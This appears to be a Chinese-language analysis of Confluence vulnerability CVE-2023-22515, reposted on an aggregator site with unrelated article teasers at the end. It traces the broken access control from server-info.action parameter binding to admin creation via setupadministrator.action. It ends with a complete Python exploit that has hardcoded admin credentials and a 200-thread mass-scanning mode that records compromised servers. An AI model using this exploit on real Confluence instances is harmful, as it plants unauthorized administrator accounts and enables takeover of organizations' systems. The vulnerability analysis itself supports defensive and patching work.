【漏洞分析】Confluence 数据中心和服务器中的严重漏洞 CVE-2023-22515

Confluence 数据中心和服务器中的严重漏洞 CVE-2023-22515

  • 一、简述
  • 二、利用
    • (一)第一阶段 设置“设置过程尚未完成”
    • (二)第二阶段,访问setupadministrator端点
    • (三)、利用新创建管理员账户登录
  • 三、POC

一、简述

Confluence 的开发者 Atlassian 已公告此漏洞,并将其归类为损坏的访问控制问题。他们强调需要立即采取行动,并建议用户升级到最新版本以保护他们的系统。Atlassian 将该漏洞的严重级别评定为 Critical CVSS 10。

受影响的版本:

8.0.0 - 8.0.4

8.1.0 - 8.1.4

8.2.0 - 8.2.3

8.3.0 - 8.3.2

8.4.0 - 8.4.2

8.5.0 - 8.5.1

8.0.0之前的版本不受此漏洞影响。

二、利用

(一)第一阶段 设置“设置过程尚未完成”

CVE-2023-22515是未经身份验证的访问控制漏洞,远程实施攻击。即使攻击者可以利用 CVE-2023-22515 建立未经授权的管理员帐户,并获得对 Confluence 实例的访问权限。攻击者还可以操纵 Confluence 服务器的设置来表明设置过程尚未完成,即伪装。

攻击者可以利用/setup/setupadministrator.action端点来设置新的管理员用户。该漏洞是通过针对未经身份验证的 /server-info.action 端点的进行利用的。

初始请求将发送到 server-info,并使用bootstrapStatusProvider.applicationConfig.setupComplete=false作为参数。当我们在没有身份验证的情况下访问 server-info.action 端点时,会返回一个带有“成功”状态消息的简单响应。

GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false

“成功”响应确认服务器正在运行,并且不会直接通过此端点泄露详细信息。

在这里插入图片描述

分析com.atlassian.confluence.core.actions包中的**ServerInfoAction代码:

package com.atlassian.confluence.core.actions;import com.atlassian.annotations.security.XsrfProtectionExcluded;import com.atlassian.confluence.core.ConfluenceActionSupport;import com.atlassian.confluence.security.access.annotations.PublicAccess;import com.atlassian.xwork.HttpMethod;import com.atlassian.xwork.PermittedMethods;public class ServerInfoAction extends ConfluenceActionSupport {@PermittedMethods({HttpMethod.ANY_METHOD})@XsrfProtectionExcluded@PublicAccesspublic String execute() throws Exception {return "success";}}

ServerInfoAction类扩展了ConfluenceActionSupport类,该类可能处理特定功能。在这个类中,有一个名为*execute()*的方法。它被设计为可以使用任何 HTTP 方法调用,不受 XSRF 保护,并且无需身份验证即可供公众访问。当调用execute方法时,一旦操作成功执行,它就会返回字符串“success”。

接下来,我们将检查位于com.atlassian.confluence.core的扩展类**ConfluenceActionSupport

package com.atlassian.confluence.core;public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {public BootstrapStatusProvider getBootstrapStatusProvider() {if (this.bootstrapStatusProvider == null)this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance();return this.bootstrapStatusProvider;}

在 Java 类ConfluenceActionSupport中,我们看到一个名为getBootstrapStatusProvider的方法返回一个对象bootstrapStatusProvider。如果bootstrapStatusProvider为 null,它将通过调用BootstrapStatusProviderImpl.getInstance()进行初始化,其中getInstance() 方法用于获取引导状态提供程序的实例。一旦对象bootstrapStatusProvider创建或已经存在,该方法就会返回它。

接下来,com.atlassian.confluence.impl.setup处的BootstrapStatusProviderImpl类包含一个名为getApplicationConfig的公共方法,该方法返回 ApplicationConfiguration 对象。

package com.atlassian.confluence.impl.setup;public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {private static final Supplier instance = (Supplier)Suppliers.memoize(BootstrapStatusProviderImpl::initialiseBootstrapStatusProvider);public ApplicationConfiguration getApplicationConfig() {return this.delegate.getApplicationConfig();}
}

在getApplicationConfig方法内部,该方法调用this.delegate.getApplicationConfig(); 使用委托,其中*getApplicationConfig()*委托在另一个称为委托的对象上获取应用程序配置的任务。

ApplicationConfiguration是一个接口,指定任何类都可以实现的多个方法。无论哪个类实现该接口,都将定义该方法的行为。

public interface ApplicationConfiguration {String getApplicationHome();void setApplicationHome(String paramString) throws ConfigurationException;boolean isApplicationHomeValid();void setProperty(Object paramObject1, Object paramObject2);void setBuildNumber(String paramString);boolean isSetupComplete();void setSetupComplete(boolean paramBoolean);  //void setConfigurationPersister(ConfigurationPersister paramConfigurationPersister);void setConfigurationFileName(String paramString);}

有一个名为setSetupComplete的方法,需要一个布尔类型的参数。

ApplicationConfig类实现了ApplicationConfiguration接口,我们确实找到了一个名为setSetupComplete的同步方法:

package com.atlassian.config;public class ApplicationConfig implements ApplicationConfiguration {public synchronized void setSetupComplete(boolean setupComplete) {this.setupComplete = setupComplete;}}

setSetupComplete方法接受一个名为**setupComplete的布尔参数,用于设置设置完成状态。
该类的setupComplete变量被分配一个作为参数提供的值。该参数的目的是定义或更新Confluence应用程序的设置完成状态。当我们将 true 作为setupComplete参数传递时,设置过程就完成了。当我们传递false时,表明设置过程不完整。

通过统一来自ConfluenceActionSupportBootstrapStatusProviderImplApplicationConfig等类的组件,我们可以链接方法调用,包括我们迄今为止已经探索过的getBootstrapStatusProvider()getApplicationConfig()setSetupComplete() 。

  • ***getBootstrapStatusProvider():***调用该方法获取BootstrapStatusProvider的实例。
  • ***getApplicationConfig():****根据getBootstrapStatusProvider()*的结果调用此方法。它检索 ApplicationConfig 对象。该对象管理应用程序配置设置,包括 setupComplete 状态。
  • setSetupComplete( **)*:**最后,在 ApplicationConfig 对象上调用setSetupComplete() 。*此方法将 setupComplete 状态设置为 true 或 false,指示应用程序的设置过程。

通过链接方法调用,我们可以使用 getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false)有效地将setupComplete值设置为 false;

Confluence 使用 XWork2 框架,该框架管理操作、拦截器和参数绑定等。在XWork2中,HTTP参数用于设置action类中的属性,框架根据命名约定自动将这些参数映射到setter方法。

因此,我们可以形成一个 HTTP 参数来启用一系列方法调用。

bootstrapStatusProvider.applicationConfig.setupComplete=false

对 server-info.action 端点使用有效负载会将setupComplete值调整为false,表示设置过程仍未完成。

(二)第二阶段,访问setupadministrator端点

更新setupComplete属性后,预期行为将允许我们访问 setup/setupadministrator.action 端点并创建管理员帐户。

但是,当我们向此端点发送 POST 请求时,我们会收到 403 Forbidden 响应状态代码和包含以下消息的响应正文:“无法处理您的请求,因为请求中不存在所需的安全令牌。” 您可能需要重新提交表单或重新加载页面。”
在这里插入图片描述

在这里插入图片描述

根据 Atlassian 在Confluence应用指南中启用 XSRF 保护:

*远程访问 Confluence 的脚本可能无法获取或返回安全令牌或维护与服务器的 HTTP 会话。要选择退出令牌检查,请在请求中包含以下 HTTP 标头:*X-Atlassian-Token: no-check

关于上述指南,包括HTTP 请求标头中的X-Atlassian-Token: no-check,我们触发相同的请求:

在这里插入图片描述

成功了!现在,我们已经获得了对端点的不受限制的访问权限,并收到“**配置系统管理员帐户 - Confluence”**页面的 200 状态。剩下的就是包含 POST 请求正文以及管理员帐户的必要参数。

在这里插入图片描述

(三)、利用新创建管理员账户登录

在最后一步中,我们继续向 /setup/finishsetup.action 端点发出另一个 POST 请求,从而有效退出设置向导。

以管理员身份登录Coldfx

在这里插入图片描述

三、POC

import json
import fire
import requests
from rich import printfrom alive_progress import alive_bar
from concurrent.futures import ThreadPoolExecutorHEADERS = {"X-Atlassian-Token": "no-check","User-Agent": "https://github.com/Chocapikk/CVE-2023-22515"
}requests.packages.urllib3.disable_warnings()class Confluence:def __init__(self, base_url, verbose=False, output_file=None):self.base_url = base_urlself.verbose = verboseself.username = "pleasepatch"self.password = "Password2"self.output_file = output_filedef send_request(self, method, url, auth=None, data=None):try:response = requests.request(method, url, headers=HEADERS, verify=False, timeout=3, auth=auth, data=data)return response.status_code, response.textexcept requests.exceptions.RequestException as e:if self.verbose:print(f"[[bold red]ERROR[/bold red]] Request error for {url}: {str(e)}")return None, Nonedef check_authentication(self):"""Check authentication and retrieve user details."""auth = (self.username, self.password)url = f"{self.base_url}/rest/api/user?username={self.username}"status, response = self.send_request("GET", url, auth=auth)if status == 200:try:user_info = json.loads(response.strip())formatted_user_info = json.dumps(user_info, indent=2)if self.verbose:print(f"[bold green][*][bold white] Authenticated as \"{self.username}\" user\n")print(f"[[bold yellow]INFO[/bold yellow]]  User Information: [white]{formatted_user_info}")except json.JSONDecodeError:return Falsereturn Trueelse:if self.verbose:print(f"[bold red][-][/bold red] Authentication failed on REST API for {self.username}")return Falsedef exploit(self):success_message = Noneif not self.trigger_vulnerability():error_message = f"[bold red][-][/bold red] Failed to trigger vulnerability for {self.base_url}"elif not self.create_admin_account():error_message = f"[bold red][-][/bold red] Failed to create a new administrator for {self.base_url}"elif self.check_authentication():success_message = f"[bold green][*][bold white] Successfully exploited {self.base_url} and logged in as admin!"else:error_message = f"[bold red][-][/bold red] Failed to authenticate with created admin account at {self.base_url}"if success_message:if not self.verbose:print(success_message)return success_messageelse:return error_messagedef trigger_vulnerability(self):status, _ = self.send_request("GET", f"{self.base_url}/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false")return status == 200def create_admin_account(self):data = {"username": self.username,"fullName": self.username,"email": f"{self.username}@localhost","password": self.password,"confirm": self.password,"setup-next-button": "Next"}status, response = self.send_request("POST", f"{self.base_url}/setup/setupadministrator.action", data=data)if status == 200:if self.verbose:print(f"[[bold yellow]INFO[/bold yellow]] Username: {self.username}")print(f"[[bold yellow]INFO[/bold yellow]] Password: {self.password}")if "Setup Successful" in response:if self.verbose:print("[bold green][*][bold white] Created new administrator successfully")self.save_to_output_file()elif "A user with this username already exists" in response:if self.verbose:print("[bold yellow][!][bold white] Administrator with this username already exists")self.save_to_output_file()else:if self.verbose:print(f"[bold red][-][/bold red] Failed to create a new administrator for {self.base_url}")return status == 200def save_to_output_file(self):if self.output_file:with open(self.output_file, 'a') as file:file.write(f"Vulnerable server: {self.base_url} | Username: {self.username} | Password: {self.password}\n")class Exploit:"""Exploit script for CVE-2023-22515 - Confluence Vulnerability.This script attempts to exploit the CVE-2023-22515 vulnerability in Confluenceto gain unauthorized access."""def __init__(self):self.verbose = False  def normal(self, target, output_file=None):"""Exploits the Confluence vulnerability using a single target URL.Args:target (str): The target URL to exploit.output_file (str, optional): File to save vulnerable servers."""self.verbose = Trueexploit_target(target, verbose=self.verbose, output_file=output_file)def mass(self, filename, output_file=None):"""Exploits the Confluence vulnerability using a list of target URLs from a file.Args:filename (str): The name of the file containing a list of target URLs.output_file (str, optional): File to save vulnerable servers."""with open(filename, 'r') as file:targets = [line.strip() for line in file.readlines() if line.strip()]scan_targets(targets, verbose=self.verbose, output_file=output_file)def scan_targets(targets, verbose=False, output_file=None):with alive_bar(len(targets), enrich_print=False) as bar:with ThreadPoolExecutor(max_workers=200) as executor:list(executor.map(lambda url: exploit_target(url, bar, verbose, output_file), targets))def exploit_target(url, bar=None, verbose=False, output_file=None):Confluence(url, verbose=verbose, output_file=output_file).exploit()if bar:bar()if __name__ == "__main__":fire.Fire(Exploit)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/761878.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

易大师B版运势测算系统源码-八字周易运势塔罗-含视频搭建教程

2024最新易大师B版运势测算系统源码-八字周易运势塔罗等测算源码 基于上个版本再次做了数据优化和部分bug修复,青狐独家维护版本。 测算周易系统一直都是很好变现和运营的,玩法操作也比较简单,也很容易被百度收录推广。 大致功能&#xff1a…

Github Action Auto build docker Auto deploy

简介 整个流程比较清晰,实现的是基于Github 定向的往ECS做发布 探索 自动化打包发布一般流程: 本地环境打镜像 CI/CD 环境打镜像 以上的流程使用于比较大的项目,受限于环境,打算对上面流程做简化,使用github acti…

栈和队列的学习

存储方式分两类:顺序存储和链式存储 栈:只允许从一端进行数据插入和删除的线性表:先进后出 FILO 队列:只允许从一端进行数据插入,另一端进行数据删除的线性表:先进先出 FIFO 栈 创建空栈,创建…

(AtCoder Beginner Contest 327) --- F-Apples --- 题解 (一个比较难想的线段树题)

目录 F-Apples: 题目大意: ​编辑​编辑 思路解析: 代码实现: F-Apples: 题目大意: 样例解释: 思路解析: 题目要求我们选择任意一对S,L,让苹果满足 S-0.…

北航悉尼大学联合研发突破性高效AI技术:双重二值化方法重塑大型语言模型效率

论文题目: DB-LLM: Accurate Dual-Binarization for Efficient LLMs 论文链接: https://arxiv.org/abs/2402.11960 大型语言模型(LLMs)的双重二值化方法:新纪元的高效自然语言处理。随着大型语言模型(LLMs&…

Amazon SageMaker + Stable Diffusion 搭建文本生成图像模型

如果我们的计算机视觉系统要真正理解视觉世界,它们不仅必须能够识别图像,而且必须能够生成图像。文本到图像的 AI 模型仅根据简单的文字输入就可以生成图像。 近两年,以ChatGPT为代表的AIGC技术崭露头角,逐渐从学术研究的象牙塔迈…

应急救援装备无人机是否必要?无人机在应急救援中的具体应用案例有哪些?

无人机(Drone)是一种能够飞行并自主控制或远程操控的无人驾驶飞行器。它们通常由航空器、控制系统、通讯链路和电源系统组成,并可以根据任务需求搭载不同类型的传感器、摄像头、货物投放装置等设备。 无人机的种类繁多,从大小、形…

Android Handler使用介绍

Android 中的 Handler 是用来和线程通信的重要工具。它主要用于在后台线程中执行任务,并将结果传递回主线程以更新用户界面。 一、基本概念 线程间通信: Android 应用通常具有主线程(也称为 UI 线程)和后台线程。Handler 允许您从…

操作系统面经-程序和进程的区别

1.程序、进程、线程简述 程序的基本概念 程序是含有指令和数据的文件,被存储在磁盘或其他的数据存储设备中,也就是说程序是静态的代码。 进程的基本概念 在多道程序环境下,允许多个程序并发执行,此时它们将失去封闭性&#xf…

Verilog刷题笔记41

题目:Create 8 D flip-flops with active high asynchronous reset. All DFFs should be triggered by the positive edge of clk. 解题: module top_module (input clk,input areset, // active high asynchronous resetinput [7:0] d,output [7:0]…

哪些事是你当了领导才明白的?

哪些事是你当了领导才明白的? 毕业5年,17年开始带团队,确实很多事不做到管理这一层,就真的意识不到。 带着【执行者】和【管理者】这2个视角,再结合我毕业至今这5年的所有职场经历,聊聊“职场潜规则”。 …

docker swarm 集群创建

1,目的: 通过docker swarm 工具将一台或者多台安装了docker的服务器组成一个完整的集群,该集群中的node节点可以通过Leader节点管理。在使用docker stack部署时,可以将容器自动分发到合适的节点上。 2,服务器准备&am…

python统计分析——t分布、卡方分布、F分布

参考资料:python统计分析【托马斯】 一些常见的连续型分布和正态分布分布关系紧密。 t分布:正态分布的总体中,样本均值的分布。通常用于小样本数且真实的均值/标准差不知道的情况。 卡方分布:用于描述正态分布数据的变异程度。 F分…

R语言Meta分析核心技术:科研论文写作与数据可视化技巧

R语言作为一种强大的统计分析和绘图语言,在科研领域发挥着日益重要的作用。其中,Meta分析作为一种整合多个独立研究结果的统计方法,在R语言中得到了广泛的应用。通过R语言进行Meta分析,研究者能够更为准确、全面地评估某一研究问题…

ShardingSphere+JPA+Druid实现分表操作

要在SpringBoot项目中实现分表操作,本文使用的是ShardingSphereJPADruid实现。过程中出现问题记录一下。 准备MySQL数据库表 这里准备的是一张主表test_cost,两张从表test_cost_0和test_cost_1,结构需要相同,主表只是声明了表结构…

用大语言模型控制交通信号灯,有效缓解拥堵!

城市交通拥堵是一个全球性的问题,在众多缓解交通拥堵的策略中,提高路口交通信号控制的效率至关重要。传统的基于规则的交通信号控制(TSC)方法,由于其静态的、基于规则的算法,无法完全适应城市交通不断变化的…

Tensorflow2.0笔记 - 链式法则例子

本笔记简单记录链式法则的原理,关于链式法则,本身和高等数学中的链式求导法则是一样的,深度学习中相关资料可以参考这里: 【深度学习之美22】BP算法详解之链式法则 - 知乎10.5 什么是计算图?我们知道, 神经…

Windows环境下编译ffmpeg 6.1源码--Virtual Studio + Msys2方式

环境准备 约定:源码全部放到sources下,目录结构说明 /d/java/ffmpeg #工程工目录 ├── build #存放编译文件的目录,子目录为具体模块的构建目录 │ ├── fdk-aac │ ├── ffmpeg │ └── x264 ├── instal…

提升水库大坝安全与效率:现代技术云平台的应用

在我国,水库大坝的数量居世界之首,它们在推动国民经济发展中扮演着不可或缺的角色。然而,要想让这些水利工程充分发挥其价值,不仅需要精准的调度与高效的管理,更重要的是要确保其安全无虞。一旦发生事故,后…

鸿蒙Harmony应用开发—ArkTS-全局UI方法(列表选择弹窗)

列表弹窗。 说明: 从API Version 8开始支持。后续版本如有新增内容,则采用上角标单独标记该内容的起始版本。 本模块功能依赖UI的执行上下文,不可在UI上下文不明确的地方使用,参见UIContext说明。 从API version 10开始&#xff0…